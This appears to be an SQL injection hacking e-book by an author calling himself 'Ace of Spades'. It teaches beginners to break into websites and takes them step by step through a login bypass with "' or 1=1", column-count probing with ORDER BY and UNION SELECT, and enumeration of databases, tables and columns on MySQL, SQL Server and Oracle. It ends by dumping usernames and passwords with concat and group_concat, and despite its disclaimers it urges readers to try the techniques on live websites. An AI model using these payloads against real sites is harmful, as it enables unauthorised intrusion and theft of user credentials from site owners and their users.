You are on page 1of 65

This E-book and some of its illustrations belongs to the original author of this E-book.

Distributed for personal use only. Any unauthorized redistribution is illegal.

By reading this E-book you acknowledge that the author and/or his representatives/business relatives will under no circumstances be held responsible for any loss/damage of any nature brought upon you or anyone else in relation to the purchase, use, educational instructions, contents or payment etc. of this E-book. You will not perform any of the actions described in this book if they go against the local laws of your country or international law. This guide is meant to teach you the techniques that are generally considered the most effective, as well as giving you an introduction to hacking and web programming. You do not have any guarantee for the effectiveness of the methods described in this E-book and the author and/or his representatives/business relatives will under no circumstances be held responsible for the outcome/result of reading this E-book. All trademarks used in this book are properties of their respective owners.

Table of contents PREFACE 1.1 Disclaimer 1.2 Who is this for? 1.3 Terminology THE BASICS 2.1 What is SQL injection? 2.2 User input 2.3 Source code 2.4 The server and the databases 2.5 SQL and queries 2.6 Responses 2.7 First taste of SQL injection TESTING 3.1 POST and GET 3.2 What makes a parameter vulnerable? 3.3 Why errors? 3.4 The single quote as error trigger 3.5 The content based approach 3.6 Error-based fingerprinting 3.7 Variable-based fingerprinting 3.8 Server-Specific commands fingerprinting EXTRACTING DATA 4.1 The concepts 4.2 Data types 4.3 Finding column count 4.4 GROUP BY 4.5 UNION SELECT for finding column count 4.6 Matching data types 4.7 UNION SELECT for extracting data 4.8 Listing databases 4.9 Listing tables 4.10 Listing columns 4.11 Extracting data

EDITING AND CONTROLLING 5.1 The concept 5.2 Admin approach 5.3 Using UPDATE 5.4 Using stacked queries 5.5 Defacing with INTO UPFILE 5.6 Deleting data EVADING DEFENCES 6.1 What are input filters? 6.2 Blacklist filter 6.3 Length-based filter 6.4 Whitelist filter 6.5 Whitespace removal filter 6.6 Case-based filter HIDING YOUR IDENTITY 7.1 Disclaimer 7.2 IP addresses 7.3 Proxies 7.4 VPNs / Virtual Private Networks REFERENCE 9.1 SQL 9.2 PHP 9.3 HTML 9.4 CSS 9.5 Javascript 9.6 Comments 9.7 MySQL 9.8 Oracle 9.9 Microsoft SQL Server 9.10 Logical operators 9.11 Errors 9.12 Data types 9.13 Tools & Tutorials

1.1 Disclaimer This book contains instructions that are meant to be carried out only on web applications that you have legal permission to perform these actions on. Any unauthorized actions of this nature are illegal and solely your own responsibility.

1.2 Who is this E-book written for? If you want to learn how to hack websites and outsmart the security of most websites online, this book is for you. If you are an experienced web developer, programmer or someone with no computer knowledge at all, this book will teach you how to hack websites using only your browser and your brain, without expecting you to have any background knowledge. Lets get going!

1.3 Terminology Some terms I use quite frequently throughout the book and their meanings are listed below: SQL Structured query language, a language used to communicate with databases HTML Hyper Text Markup Language, the language in which websites are mainly written in. SQLi - SQL injection. Programming Giving computers instructions. A person who makes programs/applications is a programmer. Parameter Somewhere that a value should be entered and later used by the database. Vulnerability Possibility to hack, hole in security

1.4 About the author In the hacker community, I am known as Ace of Spades, or simply Ace. I am a white hat hacker, meaning that I do not perform fraud or any kind of unethical hacking. I have done my best to pack every small piece of knowledge I have on the topic of SQL injection into this book. I hope that you will not only learn the techniques of finding vulnerabilities, using them to extract data and so on, but that you also learn when and where it is ok to hack, as well as what is ok to do when hacking. The activities described in this book are illegal in most countries unless you have permission from the website owner. I do not under any circumstance encourage you to break any laws, or to actually hack websites without permission. Consider my approvals of when and where to hack only as philosophical and/or ethical ones.

1.5 Be professional After all, web developers have a responsibility to have security on their websites. Otherwise they deserve to be hacked. This is bullshit. After reading this book, you will have gotten some dangerous knowledge. I hope that you have the maturity and ethical willpower to contain such knowledge and to use it for the good. Hack with reason. Hack only when you have a specific reason to, and hack with moral. Dont take down any website you can, just so you can make a thread about it afterwards. And for Gods sake, do not claim that you are helping them by replacing their hard work with some wannabe matrix Gifs and animated text bragging about your l33t sK1Ls. Leave people alone, dont kill their creativity. Its not ok to fill someones house with dirt, because they didnt have good enough security. Whenever you find vulnerability, report it to the website owner and offer support. You might get a job offer, or a reward. By defacing, all you get is a face palm from me. This book does explain how to deface though. I was unsure of whether or not I was going to include it, but I decided that it will always be out there. Removing knowledge is never the way. So, use it with reason.

I warmly recommend you to join my ethical hacking community at

2.1 What is SQL injection? So what is SQL injection? SQL injection is a hacking technique. More precisely, it is about smuggling your malicious instructions/commands, into the websites source code trough user input. It is a fairly well known hacking technique, but developers seem to forget how dangerous it is. A hacker known as Rain Forrest Puppy is usually credited as the inventor of SQL injection, although every day, new exploits are being found. To really understand SQL injection, we must first understand how a website works. This will be explained in the following sections. If you already know how websites work, skip to section 2.8

2.2 Input/Output A website receives input from you, the user. It then uses that input to produce a response which is called the output. This response might be showing you the article you asked for by clicking a link, showing you a video you asked for by clicking play. It can also be logging you in to your account or showing you a Wrong username or password message. This is the case in the following example. Lets take a look bellow
User input entries

On the form above, there are three places which accept user input. The username box, the password box and the stay signed in checkbox. We say that they accept user input because they are slots where the users can enter a value of choice. The values that you put there (your password, your username and other things you enter) are the input. The fields you enter the values into are called parameters. The stay signed in checkbox is also user input even though it accepts only one of two values: on or off, checked or unchecked - or - as we call it in programming, true or false.

2.3 Source code Websites are designed using a mix of many different computer languages. There is CSS which is used for designing how each element on a website looks, SQL for interacting with the database, Javascript and PHP for interactivity and so on. A complete list can be found in chapter 11. The most essential of these languages is a language called HTML. Practically speaking, all websites are written in this language. The text in HTML (and other languages) is called the source code of the website. Your browser (Internet explorer, Chrome, Opera, Firefox or something else) translates the source code into the website you see. It translates <img src=test.png/> into an image, <b>bold text</b> into bold text and so on. Lets take a look at the login form again:

The source code of this form looks like this: (I removed some of it for clarity)

That code gathers the input from the user. Later in the source code, the program will search for accounts in its database where the username and password is corresponding to the ones entered by the user. But what is a database? We will take a look at databases right now and come back to this later.

2.4 The server and the databases A server is a place for storing information. I will not go into detail on the technical aspects of it, but basically it is a computer used to operate a website. It is used to store all the information a website needs to keep (such as passwords, pages, etc.) and it is used to perform important tasks (such as sending HTML to users trying to access the website. This HTML is the source code of the webpage you see). A server contains one or more databases. A database is pretty much like a bookshelf, standing in a library which is the server. Databases again, contain tables and other info such as variables. In these tables the information is stored. It is a lot, but dont worry! I will explain it in more detail. Here is a basic model of the server, containing two databases, each containing three tables:

So as you can see, the server contains two databases. They are called websitedata and master. Master is a database which is in servers by default and it contains metadata such as table names. This database is very useful for hackers, but dont worry about it until later we wont use it right now. Websitedata on the other hand, is created by the website owner and contains the tables called users, admins and pages. This is how data is stored on webservers, in tables. Lets have a closer look at tables: ID Username Password Admin 1 aceofspades pass123 1 2 dave89 ich513 0 3 John nhoj435 0 Red = a column | Blue = a row So the vertical groups (Going from top to bottom) are called columns, while the horizontal ones (going from left to right) are called rows. The first column, ID is a very common column to have in any table. The number goes up one step for each row. The ID column is used for easily finding the correct row, because there will never be more than one instance of each value in the ID column. The username and password columns are self-explanatory. They contain the username and password of users. They are encapsulated in double quotes (). This is done to tell the computer that this is text, not numbers or commands.

2.5 SQL and queries First I will explain to you what a query is. A query is a set of instructions sent to the database. They may tell the database to find some information from a table or elsewhere, or they may tell the database to create a new table, and of course tons of other things such as changing a value, adding a row and so on. Queries must be written in a language called SQL. SQL stands for Structured Query Language. Here is an example of a query written in SQL: SELECT * FROM users WHERE username = $_GET [username] AND password = $_GET [password] This query tells the database to find rows in the users table where the values in the username and password columns equal the values entered by the user. Lets break it down line
by line:


This tells the database to find rows in the table called users. The star (*) means all columns. The query could also have been SELECT id, admin FROM users That would have told the database to find only the values in the id and admin columns of the rows found, but back to the example. The next line is: WHERE username = $_GET [username] This line tells the database to only care about values in rows where the value in the username column equals the username entered by the user. $_GET [username] is where the username entered by the user is stored. I will explain $_GET and $_POST in detail in the next chapter. Last line: AND password = $_GET [password] This line adds to the requirements from the previous line. It tells it to only care about rows where the value in the password column equals the password entered by the user. Together, these lines become: Search in the table called users and return all the columns of the rows you find. Only get the rows where the username and password equals what

the user entered. When making queries in SQL, it does not matter how you capitalize or format the text. uNioN sElEct * FrOM Articles WHERE Id=1 Is the same as UNION SELECT * FROM Articles WHERE id = 1 And so on. Keep reading, you are about to learn how the website send something back to you after handling your request.

2.7 The response So lets say the user enters the following values: Username: John Password: nhoj435 The query would become: SELECT * FROM users WHERE username = John AND password = nhoj435 When searching through the table it will find this row: ID Username Password 1 admin n4g6s 2 Ace mypass123 3 John nhoj435

Admin 1 0 0

It will find this row because when searching for matching rows, it will check if the username and password column values equal the ones in the query. It will find the third row and get all the columns back to the website because of the * which means all columns. Get it? I hope so, if not, go back and read through it again. Anyways, the website will log you in as John because it found the row with username John in the table and your entered password and username matched its. If the user entered, say an invalid password, the database would find no matching rows and would therefore show an error message such as Invalid login. This is called the response. Below is a model explaining the process of user input and server output.

$_GET['User']: John $_GET['pass']: nhoj435
Query SELECT * FROM users WHERE username = John AND password = nhoj435

User User: John pass: nhoj435 Database Response

Logged in as John!

2.8 First taste of SQL injection All right! Its time to get to work. I will now teach you the very basic technique of granting yourself access to the admin account without knowing the password. Note that very few sites are vulnerable to this as it is an extremely basic approach, but dont worry! This is just to give you an idea of how it works. Later in the book, I will teach you the advanced stuff. Lets revisit the scenario from earlier, but this time, the user enters his malicious input: Username: admin Password: or 1=1 // this probably doesnt make sense to you, but I will explain The query would become: SELECT * FROM users WHERE username = admin AND password = or 1=1 Did you notice that? We entered a single quote () into the password field and suddenly we can enter commands instead of just text. As you probably remember, anything encapsulated in quotes is simply text and has no effect. Anything outside the text is either a number, or commands. The database will find every single row in the table, because no matter what the values in the row are, 1 will always equal 1. This result is that the website grants access even though the password was incorrect. Even the greatest journey must start with a single step and you have just made that step. Congratulations. Feel free to read the short recap bellow.
Step-by-Step: Bypassing login 1. Use a known username or admin to write into the username field. 2. Enter or 1=1 into the password box. 3. Click the confirm button.

Congratulations, you are now on your way to become a hacker! You are now about to learn how to do research on a website and test what ways you can hack it. It will explain how to find out the database version and type and other useful info. Are you ready?

3.1 POST and GET variables You need to understand what GET and POST variables are before we move forward. GET and POST are two different methods websites use to send values from one page to another. Remember that login form we used earlier? Lets have another look at it:

And now the source code: (This time less shortened) <form method=get action=login.php> Username: <input type=text name=user/> Password: <input type=text name=pass/> <input type=check name=staysignedin/> Stay signed in </form> So, every input has its own name. The username input field is called user and the password field is called pass. As you can see on top of the source code it says method = get. This means that the values entered into this form should be passed to the next page using GET variables. You have probably seen GET variables before without knowing, they look like this: Here, user and pass are passed to the login_check.php page with GET variables. Get variables are put in the URL after a question sign (?). The other way to pass values, POST variables works similarly to GET, but POST variables arent visible. If the form above used POST as its method, the url would look like this: /login_check.php They are all gone, but they are still passed forward. GET variables seem easiest to modify. After all, all you need to do is change the value. Like this: The truth however, is that POST variables can be modified almost just as easily. Youll have to use a proxy or a plugin called tamper data for Firefox. See chapter 9 for download links.

3.2 What makes a parameter vulnerable? We say that a parameter is vulnerable when it is possible to inject maliciousness into it. Basically, if you can do something that the website creator didnt want to be possible, such as extracting data, it is vulnerable. Throughout this chapter, I will explain to you various methods of recognizing vulnerable parameters. I suggest you to try all of these techniques on websites to make a mental map of what works and what doesnt.

3.3 The concept of input filters An input filter is a set of commands that removes dangerous data from user input before it is executed on the database. There is no standard for user filters. When creating a website you are also responsible for creating the input filters. The result is that lots of sites have no input filter or a poor one. Lets say that our website has a filter that removes all dangerous keywords, such as FROM, OR and so on, from the input:

pass= ' or '1'='1

Input filter removes dangerous keywords

pass=' '1'='1 (the "or" is gone)

The query now has no effect because the keyword OR was removed. There are many ways to trick this kind of filter though. More on input filters in chapter 6.

3.4 Why errors? So why do I make so much fuzz about errors? Well, because errors are the easiest ways to identify that what we entered actually came through and was executed on the database. If we are able to execute our commands on the database, we are able to choose what is displayed to some extent, which means we are able to steal things like passwords. Websites that remove all input that might cause unwanted results are called non-vulnerable which means they cant be hacked with SQL injection. A basic rule is that if we are able to change the output to something different than it was meant to be, if we cause an error to be displayed for example, then the website is vulnerable which means it can be hacked. The first step towards hacking a website is to check if it is one of the vulnerable ones. Most are.

3.5 The single quote as an error trigger We use the single quote character () to trigger errors in the database. The single quote will always cause errors (if the website is vulnerable) because two such quotes are required to make sense. The one we enter is recognized as the beginning of some text (called a string in computer science) and it will start searching for the end of the string, which should be another such quote. When it doesnt find one, an error arises. So remember, anytime we are going to cause an error, we will usually enter a single quote. Some websites remove the single quote from input, in these cases we will have to find another way, but that will be explained then.

3.6 The error-based approach If the content of a website changes when an abnormal character (a character that is not meant to be used in the certain context) is entered, we can safely say that the website is vulnerable; because that means that what we entered actually had some effect on the server. Non-vulnerable websites will remove everything dangerous and unwanted from the input before processing it, so on a non-vulnerable website, additional input such as a single quote () will simply be removed, thus not causing any change in content as they are gone by time the query is executed. In this example we will check if the website is vulnerable trough the id parameter. Allow me to demonstrate: Lets go to Take a look at the website. It displays an article from the database. Remember how it looks, so that youll be able to recognize changes when we enter abnormalities. A picture is below.

Lets enter a single quote () into the id parameter. The URL is now and the output is like this

As you can see, there was a dramatic change in content. This means that the parameter is vulnerable. Some errors are like these, displaying database generated errors that describe the problem. Others though, may make your work harder as a hacker, here is an example:

This is called a generic error. If a website utilizes generic errors, the same page is shown no matter what kind of error occurred. This makes things harder for the hacker, but not impossible. We would typically have to use blind SQL injection which is a method described later in the book.
Step-by-Step: Testing for vulnerability trough error 1. Enter a single quote into the value 2. Wait to see if the content changes. An error means vulnerable, no change means maybe vulnerable.

3.7 The logical approach This method is a bit different and tests for a bit different kind of vulnerability. We will see if we can modify the output by entering logical operators. So what is a logical operator? OR is a logical parameter and so is AND. There others too but these are the most important. For a complete list of logical operators and a more detailed description of what they are, see chapter 9. Lets go back to Behind the scenes, the following query to the database occurs: SELECT * FROM article WHERE id = 5 As explained, the star (*) means get all columns.

Lets add +and+1=0 to the URL. You do not have to understand why yet. The URL is now and the query will become like this as the pluses (+) are translated into spaces: SELECT * FROM articles WHERE id = 5 AND 1 = 0 I am sure you see that something is wrong with that query. In fact it is indeed, it will never find any rows. 1 does never equal 0 and this query requires 1 to equal 0 for each row it finds. The admin bypass tricks you learned in chapter one utilized the logical operator or. Here, the

logical operator is and. If the parameter is vulnerable, this will return no data and make the page look like this:

As you can see, there is no content which means our and+1=0 successfully was added to the query. You know what that means? Well it means that we successfully changed or modified what was displayed in the box. It also means we can change what is displayed to something more interesting and as you remember, that makes the parameter vulnerable. Now the other way around: Now what was that? Instead of making no rows be returned, we make every single row in the table be displayed; because no matter what the id of the article is, 1 will always equal 1. Some sites limit the displayed rows to one, but that just makes thing a bit more time demanding. You have probably understood it by now, but here is what the query becomes: SELECT * FROM articles WHERE id = 5 OR 1 = 1

The result will usually be as below:

As you can see, every single article is now displayed below each other. There were only three articles in this websites database, what a shame, but never the less, we changed the content. This isnt very helpful in itself as we were supposed to be able to see all these articles anyway, but it does prove that the parameter is vulnerable. Step-by-step guide is below.
Step-by-Step: Testing for vulnerability trough logical operators 1. Add +and+1=0 to the URL 2. Wait to see if anything is displayed. If an error occurs, the website might be vulnerable but not to this most likely, if a row is displayed as normal it is not vulnerable and if no data is displayed it is vulnerable. The next step from here it to camouflage your input. There are several techniques to do this. See chapter 6 for more on this.

3.7 Server version and type The server version and type is important to know because certain things will only work on certain database types. Here is a list of the most common server types: MySQL Oracle Microsoft SQL Server In the following sections I will teach you how to perform the process called fingerprinting which means finding the server version. For a complete list of server types, see chapter 9. There you will also find information about each and their specifications.

3.8 The error-based approach to fingerprinting This is actually a two-flies-one-smack method. It does not only work as fingerprinting, but it also discovers if the parameter used is vulnerable. Errors sometimes tell you what server type the website is running. You already know how to cause errors by adding a single quote so lets do that. If this causes an error, the parameter is vulnerable and if the error contains MySQL in any context you know that the type is MySQL. If it contains any instance of the word ORA or Oracle you know it is Oracle and so on. If it mentions any server type then that is the server type in use. For complete reference of errors and what server causes which, see chapter nine.
Step-by-Step: Fingerprinting trough error 1. Enter a single quote into the value 2. If an error occurs, look for a database type name. If one is mentioned you know that it is the correct one.

3.9 The data-based (you see what I did there?) approach to fingerprinting There are some variables and queries that work only on one specific server type as mentioned. For example, the variable @@version is unique to MySQL and Microsoft SQL Server, which means that if the website server contains this variable, then it must be MySQL or Microsoft SQL Server, but how to check if the website contains this specific variable? I am about to show you that. Lets say we have our good old website on

To figure out if this website is running MySQL, we must make it somehow display the content of the @@version variable. We do this with a UNION SELECT statement. UNION SELECT is explained in detail in the next chapter, but what it does is basically to add the result of a second query to the result set.

4. 1 the concepts So what do I mean by extracting data? I mean stealing the information that is stored on the server/database. This can be passwords, usernames etc. I will show how you do this in easy step by step sections and then in more advanced fashions. Before we begin with extracting data however, you must understand what data types are. Keep in mind that the techniques explained in this chapter does not include bypassing filters so you would have to find a site that has low defense (and that you have permission to do it on, duh) in order to effectively follow the examples in the book. Bypassing filters will be explained in chapter 7. For now, I suggest using the companion website

4.2 Data types Data types are the different formats data can be stored as. Numbers are one, or integers as they are called. Text is another, yet we call them strings. There are others as well, but these are the important ones. For more info on data types, see chapter 9. So lets initiate our hacking by finding a GET parameter on the website. All techniques described can be done with POST as well, but I will use GET here so I suggest you do the same while trying. Below is a simple overview of the two data types you know so far: Name in programming Integer String What it really is A number, 1, 2, 3 or any other full number. A piece of text, encapsulated by double quotes (). this is a string

4.3 ORDER BY SQL has a command called ORDER BY. It is used to sort the returned rows by one of the columns. Lets take a look at this table called exampletable: ID columnhere anothercolumn 1 c 1 2 b 3 3 a 2 As you can see, there are four columns. Lets say we perform the following query: SELECT * FROM exampletable WHERE id < 4 ORDER BY 2 This query gets all the rows because all the rows have a lower ID value than 4. If we excluded the order by line, the rows returned would be sorted by the order in which they were added to the database. Order by 2 means order by the second column. The second column is columnhere because it is number two from the left. Lets try something a bit different. SELECT * FROM exampletable WHERE id < 4 ORDER BY 5 There is no fifth column. Therefore, this causes an error. This is an effective way to find number of columns being returned. More on this in 4.5 Group by is a slightly different function but for us hackers, it is exactly the same. Think of it as an alternative if ORDER BY is being filtered out

4.4 UNION SELECT UNION SELECT is another function in SQL. It is very likely the most important function in SQL injection. It adds another query to the result. I will explain. Lets take a look at this table again, it is called users: ID 1 2 3 And this query: Username admin Ace John Password n4g6s mypass123 nhoj435 Admin 1 0 0

SELECT * FROM users The result is all rows of the users table. Now lets say that we have another table, called staff. It looks like this: ID Username Password Admin 1 will td5sg 1 2 Ace mypass123 1 We want to combine both these table into one result. We can use union select: SELECT * FROM users UNION SELECT * FROM staff The result is: ID Username Password Admin 1 admin n4g6s 1 2 Ace mypass123 0 3 John nhoj435 0 1 will td5sg 1 2 Ace mypass123 1 Both tables combined into one. This does not mean that the tables on the database have become one, only that we made a result that is a combination of both. For this to work, both SELECT statements must have the same number of columns. If the first asks for 4 columns (as here), the others must as well. Remember that you can add static data to make them match. Say that we want to combine the results of articles which has 4 rows and authors which has 3 rows. We can do this with the following: SELECT id, title, body, null FROM articles UNION SELECT id, name, last_name, posts FROM authors

We added null to the query to make the amount of columns requested match. Null simply means an empty space. When using union select, each column must have the same data type as the column at the same position in the other query, but null is widely accepted. Therefore we put null in every column because it wont cause an error no matter what data type should be in the specific column.

4.4 Finding column count with ORDER BY Hopefully, you remember how databases are made up by tables and what a query is. If not, go back and read through it again, cause it is necessary to understand it if you want to succeed. When a GET parameter is present on a website, it almost always means that some kind of query occurs when the web page is loaded. Lets use for our example. Make sure that the parameter is vulnerable before you start. Lets say the query performed here is SELECT title, author, message, date FROM articles WHERE id = 1 The result of the query is: ID 1 Title Message What is this websit.. This website is abo.. author Ace of Spades

And it gives the following output:

The first mission of the hacker is to find out how many columns it is in the returned result. Lets take a look at it again: ID 1 Title What is this websit Message This website is abo.. author Ace of Spades date 03.05.2011

There are five columns as you can see, but normally we wont know that. It is important to know however. The way we are going to discover it is trough order by. Because that function will give an error once we try to order by a column that doesnt exist. Please read section 4.2 before moving further. This is what the URL normally is: The query is: SELECT id, title, message, author, date FROM articles WHERE id=1 Lets change the URL to the following. The plus sign (+) will be translated into a space so put it wherever it should be a space. As you hopefully remember, the 1 in the very end of the URL means that it should order the results by the first column. Lets take a look at what the query becomes now: SELECT id, title, message, author, date FROM articles WHERE id=1 order by 1 As you can see, we managed to change the query quite a bit. 1 is a valid column (it is the ID column because the ID column is number 1 from the left) so this is a legal query. The content most likely wont change. That tells us that there are 1 or more columns. Lets change that number up to 10. The query is now SELECT id, title, message, author, date FROM articles WHERE id=1 order by 10

10 is not a valid column. Therefore, the database will produce an error.

You now know that there are less than 10 columns. If it did not produce any errors, you would have known that there are 10 or more columns. As we know that the amount is smaller, we will go down to 6. The query is now SELECT id, title, message, author, date FROM articles WHERE id=1 order by 7 7 isnt a valid column either so another error is produced. We go down to 5 this time. The query is now SELECT id, title, message, author, date FROM articles WHERE id=1 order by 5 5 is a valid column, we now know that the number of columns is 5 or higher and lower than 7. In other terms, it can be 5 columns or 6 columns. We try 6 The query is now

SELECT id, title, message, author FROM articles WHERE id=1 order by 6

Error message! This means there are less than 6 columns and we already know the number is 5 or higher. The conclusion is obviously that there are 5 columns. Write it down in a notepad or something so you dont forget when hacking a website.
Step-by-Step: Finding column count with order by 1. Add +order+by+5 to the URL. If an error occurs, the number of columns is higher than 5, otherwise it is either 5 or lower. 2. Try it with different values until you know for sure how many columns there are.

4.5 UNION SELECT for finding column count UNION SELECT can also be used to figure out how many columns there are in the result table. It is easier, but less fun and convenient than the ORDER BY function. As you hopefully remember, UNION SELECT is used to combine two sets of results and it gives an error if the two results have a different amount of columns. Lets go to the proper URL first: We use the same method to inject further queries into the URL. So we injected the following Union select null The query is now SELECT id, title, message, author, date FROM articles WHERE id=1 union select null

Woah! There arent equally many columns in each select statement. Therefore this causes an error. We now know that there is more than one column. Lets add another null,null So we injected the following Union select null,null The query is now SELECT id, title, message, author, date FROM articles WHERE id=1 union select null,null

Once again, an error is produced because the numbers of columns arent equal. Keep adding ,null until it does not produce an error:,null,null,null,null,null,null,null,null,null The last one has 5 columns (all null) and does not produce an error. Therefore we know that there are 5 columns in the result table.
Step-by-Step: Finding column count with union select 1. Add +union+select+null to the URL. If an error occurs, the number of columns is higher than 1, otherwise it is 1 because the number of nulls is 1. 2. Add ,null to the url until it does not produce an error. When no error is returned you know that the number of columns equal the number of nulls in the URL.

4.6 Matching data types We need to figure out which data type fits in each column of the result query. Go back to 4.2 or see chapter 9 for more on data types and what they are. We will find out which data types must be used, with good old UNION SELECT. Lets go to as usual. I know you are getting tired of the screenshot, but just in case you arent 100% sure, it looks like this:

By now you should know how the website performs a query to find the requested article. If not, go back and read in chapter 1. We know that there are five columns in the result. We therefore add the following:,null,null,null,null Five nulls, one in each column. The null value is accepted in any column because it doesnt have a data type, but if we want to extract something useful, we need to figure which columns can take which data types. We start with strings. Try adding a string into each column, one by one. Where an error occurs, it is not the correct data type. ! Note: If the database keeps giving errors it might be because it removes or freaks out (pardon the expression) when quotes () are added. Try using @@version or another variable instead of test. It will return the version as a string but without requiring any single quotes () to go through the input. For reference on which variables you can use on each kind of database server, see chapter 9.,null,null,null,null Error, the first column is apparently not a string,test,null,null,null No error, so the second column must be a string,null,test,null,null No error, so the second column must be a string,null,null,test,null No error here either. String in the fourth,null,null,null,test Error. The final column is not a string. If this causes an error on every single column, you should try the method described in orange.,null,null,null,null Error, the first column is apparently not a string,@@version,null,null,null No error, so the second column must be a string,null,@@version,null,null No error, so the second column must be a string,null,null,@@version,null No error here either. String in the fourth,null,null,null,@@version Error. The final column is not a string.
Step-by-Step: Finding data types with UNION SELECT 1. Add +union+select+null,null,null to the URL. Change the amount of nulls to match the amount of discovered columns. Separate each null with a comma, but no comma after the last null. 2. Change the first column into a string +union+select+test,null,null if an error occurs, the first column is not a string. Move the string to the next spot +union+select+null,test,null if an error occurs, the second column is not a string either. Do it with every column.

4.7 UNION SELECT for extracting data So, finally we will have some action after all the research. We will use UNION SELECT to add a second query to the original one. In this way we will make the data we are interested in appear on the screen. You guessed it, lets go to And screenshot:

Lets make the URL the following:,Test1,Test2,Test3,null We put a test string in each of the columns that we discovered to be accepting strings and null in the others. The query becomes like this: SELECT id, title, content, author, date FROM articles WHERE id = 5 UNION SELECT null,Test1,Test2,Test3,null What this query is meant to do, is to find the requested page in the database and display it. We added a second query and now, lets see if any of our input is displayed:

Success! Test1 and Test2 were displayed in a second article below. This means we can modify what is displayed, which is great. ! Note: If no change in content happens when doing this on a website, it might be because the page limits the amount of results to 1. When this is the case, try adding +and+1=0+ between the original URL and the query, like this: Now lets extract something a bit more useful. The following instructions depend on which server type is in use. I will teach how to do it for each of the most common kinds of database servers: Microsoft SQL Server, Oracle and MySQL.
Step-by-Step: Extracting data with UNION SELECT 1. Add +union+select+column1,column2+from+table to the URL.

4.8 Listing databases MySQL In MySQL servers, there is a database called information_schema. This database contains so called metadata. Metadata, which means data about the other data in the database, is extremely important to the hacker, as he do not know what tables there are on the database, what columns are in each table and so on. We will take a look at a database called information_schema. It contains a table with all the tables (yes, you heard right), a table with all columns on the entire server and much more. To access a table from a specific database, we do as following: databasename.tablename That would access the table called tablename on the databasename database. For a full overview of the important databases and their tables, see chapter 9. Now lets move forward. We are currently at,Test1,Test2,Test3,null And we saw that the column with Test3 in it isnt displayed so well remove that and put null instead, just for clarity:,Test1,Test2,null,null We have two columns that will be visible. Now lets actually extract data instead of using static string.,schema_name,null,null,null+ from+information_schema.schemata I removed some of the underline because it made it hard to see that there is an underline in the names. There is only need for one column here, for the schema_name which is the name of the databases. Therefore, the second column has been changed into null. You will get to see all the database names. The screenshot is here:

So you see two database names names here. Usually it is only about two databases on a website. Look for one that doesnt seem to be a default MySQL database. As you can imagine, a6886241_db is not a MySQL default database, as it is the only other database than information_schema. This means it contains data uploaded by the owner. Note it down; it might come in handy later. If the request causes an insane load time, try adding the following to the end of the query: +limit+0,15 The 0 means start at the first result and the 15 means only 15 results at a time. When you have looked through the 15 first results, change it to +limit+15,15 and keep going like that, making the first number 15 higher for each time. Note that the interesting data is usually at the very end. This technique also applies to the other sections on extracting data.
Step-by-Step: Finding databases on MySQL 1. Add the following to the URL: +union+select+null,schema_name,null+from+information_schema.schemata 2. Adjust the query accordingly to how many columns you have discovered and which columns are displayed.

Microsoft SQL Server In Microsoft SQL Server, things are slightly different. First of all, there is no database called information_schema on Microsoft SQL Servers. Instead, there is a database called master. For more info about this and the other default databases, see chapter 9. To select a table from a specific database on Microsoft SQL Server, you put not one dot, as in MySQL but two dots between the database name and the table name. Lets say we want to get the content of the table called sysdatabases which is on the database master. We would do it like this: SELECT * FROM master..sysdatabases On this table, there is a column called name. It contains the name of each database. To query this column, we would use: SELECT name FROM master..sysdatabases This can be done with the following URL:, ,null,null,null+from master..sysdatabases Thats how we do it on Microsoft SQL Servers. Now, the sysdatabases table has the same task as the information_schema.schemata table on MySQL. It contains every single database on the server, including the built in ones. In case you would like to know what database is currently in use, which will in almost all cases return the user-built database with interesting information, use: SELECT DB_name() This can be done with the following URL:,DB_name(),null,null,null Keep in mind that you would have to find the column count and data types, as well as which columns can be extracted through first, and modify the query accordingly.
Step-by-Step: Finding databases on Microsoft SQL Server 1. Add +union+select+null,name,null+from+master..sysdatabases to the URL. 2. Adjust the query accordingly to how many columns you have discovered and which columns are displayed.

4.9 Listing tables MySQL For listing tables, use,table_name,null,null,null+fr om+information_schema.tables As you see, you get a great view of all the tables. I have scrolled to the bottom here:

Users seems like an interesting table. Note it down along with other table names of interest. The limit technique described in previous section can be used here as well. If you want to exclude all the default tables from the list, you can use,table_name,null,null,null+fr om+information_schema.tables+where+schema_name=database() Users seem to be an interesting table, so note it down so you can use it later.

Microsoft SQL Server Now, on every database there is a built-in table called sysobjects. It should contain table names and more, similarly to information_schema.tables on MySQL. There are two interesting columns on this table. The first one is name which contains the name of the table, the second one is xtype, which contains info about whether the table is user created or built in by default. We are interested in the user created ones, so we would look for rows with an xtype of U which stands for user. We would need the following query: SELECT name FROM sysobjects WHERE xtype=U This would be done with an URL like this:, name,null,null,null+from+sysobjects+where+xtype=U That would list every table that is created by the user. As earlier, you can use the limit technique if only one result is shown, or if the amount of tables creates unbearable load time. Oracle On oracle, the process is fairly simple. Oracle is a tad different from MySQL and Microsoft SQL Server, but dont let it confuse you. The main concepts are the same. On Oracle, this is how we find the table names: SELECT table_name FROM all_tables This translates into the following URL: On Oracle, you might be interested in knowing which user owns the table. This can easily be done by adding an owner to the query columns. SELECT owner,table_name FROM all_tables This translates into the following URL:,table_name+from+all_ tables

4.10 Listing columns MySQL To get a list of all the columns on the database, as well as which table they belong to, use:,table_name,column_name,n ull,null+from+information_schema.columns This will give you an overview over the columns in the database and which table they belong to. Find the columns that belong to the tables you are interested in. As you can see here:

Username and password seem to be interesting ones. It is now time to use all our info to extract the values. Just like above, you can add +where+schema_name=database() to exclude all columns in default tables. If you want to get columns from a specific table, add +where+table_name=users That would return all columns from the users table.

Microsoft SQL Server There is another built in table on each database in Microsoft SQL Servers. It is called syscolumns. It contains all columns on the entire database, just like information_schema.columns in MySQL. There are two columns in this table that we are interested in:

4.11 Extracting data We now know that there is a table called users. We also know that there are columns called username and password on that table. Now to get the values of these columns, we use:,username,password,null,null +from+users There you go. All the users along with their passwords listed elegantly. If we wish to receive only the password of a specific user, we would add +where+username=john

4.12 Combining two values into one column But what if there was a third column that we couldnt extract because we only had two working data entries? We can use a technique called concat however. Concat works like this: Concat(text1, text2) This will return in the following string: text1text2 This is very handy when there is only one vulnerable column to inject trough. It cannot only be used with static text. You can also do like this: SELECT+Concat(username, :, password)+from+users The : in the middle is simply to divide them. The result will be like this: John:mys3cr3tp@ss If you wish to combine the values of a certain column in all rows returned, you can use a similar function, called group_concat. SELECT+Group_Concat(username)+FROM+users The result is: John, user2, user3, Kate Every rows value of username, separated by a comma is returned, because that is how the group_concat function works. In reality, you would have to add nulls of course. If there were, say 5 columns and the third one was vulnerable and displayed, you would use: SELECT+null,null,group_concat(username),null,null+from+users And the same goes for concat.

